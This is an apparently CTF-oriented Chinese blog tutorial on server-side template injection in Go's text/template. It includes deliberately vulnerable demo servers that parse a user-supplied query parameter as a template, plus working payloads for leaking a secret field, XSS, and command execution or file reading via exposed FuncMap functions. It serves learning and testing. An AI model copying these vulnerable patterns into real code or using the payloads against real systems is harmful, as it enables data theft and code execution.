Go SSTI

Go 常见模板库有:

1
2
text/template
html/template

Go 的模板不像 Python Jinja2 那样容易直接拿到对象、反射、系统调用,所以默认情况下的利用是有限的

漏洞检测

1
2
3
{{.}}
{{printf "%#v" .}}
{{range .}}{{.}}{{end}}

{{.}} 表示输出当前的 “数据对象”

例如:

1
2
tmpl := template.Must(template.New("x").Parse("Hello {{.}}"))
tmpl.Execute(w, "Alice")

渲染结果是:

1
Hello Alice

这里的 . 就是传给模板的当前数据,也就是 “Alice”

如果传入的是结构体:

1
2
3
4
type User struct {
Name string
Age int
}

模板可以写:

1
2
Name: {{.Name}}
Age: {{.Age}}

{{.}} 代表整个 User 对象

{{.Name}} 代表对象里的 Name 字段

漏洞利用

信息泄露

用户输入被当作模板执行,且模板上下文里放了敏感字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"fmt"
"net/http"
"text/template"
)

type User struct {
Name string
Role string
Secret string
}

func handler(w http.ResponseWriter, r *http.Request) {
tpl := r.URL.Query().Get("tpl")
if tpl == "" {
tpl = "Hello {{.Name}}"
}

user := User{
Name: "guest",
Role: "user",
Secret: "flag{ssti_info_leak}",
}

t, err := template.New("ssti").Parse(tpl)
if err != nil {
http.Error(w, err.Error(), 500)
return
}

t.Execute(w, user)
}

func main() {
http.HandleFunc("/", handler)
fmt.Println("http://127.0.0.1:8080/?tpl=Hello")
http.ListenAndServe(":8080", nil)
}

可以读取模板上下文里的字段

1
2
3
{{.Name}}
{{.Role}}
{{.Secret}}

xss

html/template 会根据 HTML 上下文自动转义输出,而 text/template 不会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package main

import (
"fmt"
"net/http"
"text/template"
)

func handler(w http.ResponseWriter, r *http.Request) {
tpl := r.URL.Query().Get("tpl")
if tpl == "" {
tpl = "<h1>Hello {{.}}</h1>"
}

name := r.URL.Query().Get("name")
if name == "" {
name = "guest"
}

w.Header().Set("Content-Type", "text/html; charset=utf-8")

t, err := template.New("page").Parse(tpl)
if err != nil {
http.Error(w, err.Error(), 500)
return
}

t.Execute(w, name)
}

func main() {
http.HandleFunc("/", handler)
fmt.Println("http://127.0.0.1:8080/")
http.ListenAndServe(":8080", nil)
}

借助 Go 模板提供的字符串打印功能,可以直接输出XSS语句

1
2
{{"<script>alert(/xss/)</script>"}}
{{print "<script>alert(/xss/)</script>"}}

命令执行&任意文件读取

这个就比较刻意了,通过 FuncMap 暴露了危险函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package main

import (
"fmt"
"net/http"
"os"
"os/exec"
"text/template"
)

func readFile(path string) string {
data, err := os.ReadFile(path)
if err != nil {
return err.Error()
}
return string(data)
}

func runCmd(name string) string {
out, err := exec.Command(name).CombinedOutput()
if err != nil {
return err.Error() + "\n" + string(out)
}
return string(out)
}

func handler(w http.ResponseWriter, r *http.Request) {
tpl := r.URL.Query().Get("tpl")
if tpl == "" {
tpl = "Hello {{.}}"
}

funcs := template.FuncMap{
"read": readFile,
"cmd": runCmd,
}

t, err := template.New("ssti").Funcs(funcs).Parse(tpl)
if err != nil {
http.Error(w, err.Error(), 500)
return
}

t.Execute(w, "guest")
}

func main() {
http.HandleFunc("/", handler)
fmt.Println("http://127.0.0.1:8080/")
http.ListenAndServe(":8080", nil)
}

调用函数

1
2
{{ cmd "whoami" }}
{{ read "C:/flag.txt" }}

Go SSTI初探
template


Go SSTI
https://www.dr0n.top/posts/423657c3/
作者
dr0n
发布于
2026年3月24日
更新于
2026年5月31日
许可协议